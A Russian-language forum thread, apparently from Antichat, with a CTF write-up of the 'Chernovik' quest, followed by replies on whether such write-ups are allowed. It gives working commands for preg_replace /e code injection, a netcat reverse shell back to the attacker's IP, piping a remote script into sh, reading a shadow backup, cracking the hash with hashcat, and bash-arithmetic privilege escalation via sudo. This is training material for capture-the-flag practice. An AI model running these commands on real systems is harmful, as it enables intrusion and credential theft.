ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Черновик - CTF [WriteUp] (https://forum.antichat.xyz/showthread.php?t=1642171)

Kevgen 01.08.2023 19:07

Всем привет!
Сегодня разберем квест "Черновик" с платформы Antichat.
В этом райтапе я постараюсь изложить решение таска наиболее подробно.

Итак, приступим!

Поиск точки входа
Заходим на первый IP, открываем код страницы, видим что есть спрятанная (hidden) область:

https://forum.antichat.xyz/attachmen...9bb14e53ff.png

Убираем hidden, появляется форма замены слова. Пробуем изменить "hacker" на "codeby"... Успешно. Идем смотреть скрипт, выполняющий замену:

https://forum.antichat.xyz/attachmen...4ce72e74b1.png

Видим, что после отправки наше замененное слово "hacker", обрамляется в "/hacker/". Возвращаемся назад, пробуем заменить "/hacker/" на "codeby". Как результат, видим ошибку функции preg_replace():

https://forum.antichat.xyz/attachmen...9f2fc89baf.png

Ищем в гугле эксплоиты preg_replace. Находим, что для выполнения кода нужно использовать обрамление "/hacker/e", что невозможно сделать через скрипт на сайте (получится "//hacker/e/").
Поэтому открываем postman, делаем POST запрос, где в теле 'x-www-form-urlencoded' проставляем следующие значения:
pattern = "/hacker/e",
replace = system('whoami') (сам исполняемый код),
paragraph = 1 (указываем с какого параграфа делать замену).
Если в ответе получили www-data, значит все ок.

Настройка Reverse Shell
Если у Вас белый IP, то пробрасывайте порт 4444 (с ним будем работать дальше). Иначе используйте ngrok.
Запускаем netcat на нашем устройстве
Код:

nc -lvnp 4444
для прослушивания порта. Далее идем на revshells.com, вводим свой ip, включаем и ищем подходящий revers shell.
Я остановился на
Код:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f
, где my-ip - Ваш белый IP.
Заливаем шелл командой:
Код:

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f')
. Запускаем, возвращаемся в терминал с netcat'ом.
Проверяем соединение вводом команды: "whoami". Если ответ "www-data", то все ок.
Далее настроим наш терминал. Вводим команду
Код:

python -c 'import pty; pty.spawn("/bin/bash")'
и получаем интерактивную оболочку.

Ищем уязвимости
Плутать по серверу и искать уязвимости вручную - это долго и глупо. Для этого есть утилита LinPEAS. Просто вводим команду
Код:

curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230731-452f0c44/linpeas.sh | sh
. Посмотрим вывод. Привлекает внимание несколько backup файлов, среди которых /etc/shadow.backup.Оригинальный файл /etc/shadow содержит хэшированные пароли пользователей и недоступен для чтения/записи. Но у нас есть бэкап который открывается.
Откроем:
Код:

cat /etc/shadow.backup
. Видим хэш с солью нужного нам пользователя.

Брутим пароль
Смотрим формат строки в файле:

Код:

$6$xxxxxx$00000000000000000000:14715:0:99999:7:::
Первые 3 символа "$6$" указывают на кодировку хэша SHA-512.
Все, что между вторым и третьим символом доллара ($) - это соль.
Все, что дальше него до двоеточия ":" - это хэш.
Все, что дальше двоеточия включительно нам не нужно.

Раз есть хэш, то надо брутить! Создаем файл hash.txt и вводим туда наш хэш не оставляя пробелов до или после самого хэша.
Запускаем Брут командой
Код:

hashcat -m 1800 -a 0 -o crack.txt --remove hash.txt /usr/share/wordlists/rockyou.txt
, где 1800 - режим брута хэша (SHA-512 + salt), "-a 0" указывает на брутфорс по словарю, а crack.txt - выходной файл с паролем. Ждем.
Через несколько минут получаем пароль.

https://forum.antichat.xyz/attachmen...b26f429b98.png

Теперь подключаемся ко второму IP по ssh командой:
Код:

ssh derek@62.173.140.174 -p 18722
. Вводим пароль, полученный из хэша. Теперь мы можем прочесть нашу первую часть флага. Читаем:
Код:

cat first_part
.
Сохраняем первую часть в блокноте.

https://forum.antichat.xyz/attachmen...be4c190b76.png

Повышаем привилегии
Первую часть флага мы получили, неплохо бы и вторую отыскать . Для этого будем повышать наши права на сервере до root'а.

Выполнив
Код:

sudo -l
открываем для себя файл guessNum.sh, который мы можем запускать. Сразу же открываем его cat'ом и видим, что он проверяет введенное значение с
. На первый взгляд ничего интересного, но он уязвим, иначе он бы здесь не оказался (так еще и с правами выполнения ), поэтому вбиваем в гугл следующее: "bash -eq exploits". Сразу видим, что мы не ошиблись: арифметика в bash'е в самом деле уязвимая. Путем перехода на первую же ссылку видим нужный нам пример повышения привилегий.

Запускаем наш guessNum.sh. Копируем пример с сайта, но вводим, понятное дело, не
Код:

a[$(/bin/sh >&2)]+42
, а
Код:

[$(ls /root/ >&2)]+1337
, для чтения директории root.
И мы видим наш последний файл!
Открываем его командой
Код:

a[$(cat /root/last_part >&2)]+1337
и получаем последнюю часть флага!

Соединяем две части флага и сдаем.

Спасибо за прочтение!
Если есть пожелание или критика - пишите!

ALT1RE 01.08.2023 20:11

Вррайтапы на квесты запрещены же.

Kevgen 01.08.2023 20:15

Цитата:


ALT1RE сказал(а):

Вррайтапы на квесты запрещены же.


Здравствуйте! Если Вам не трудно, можете, пожалуйста, прислать сообщение где админы писали что запрещено, так как я такового не нашел.
Кроме того, на форуме есть и другой врайтап по квесту, его не банят.
Так что, если это запрещено админами - удаляю

ALT1RE 01.08.2023 20:35

Пост из группы в телеге.

Kevgen 01.08.2023 20:40

Цитата:


ALT1RE сказал(а):

Пост из группы в телеге.


Спасибо! Уже отправил жалобу на пост (не знаю как другим способом удалить)


Время: 23:56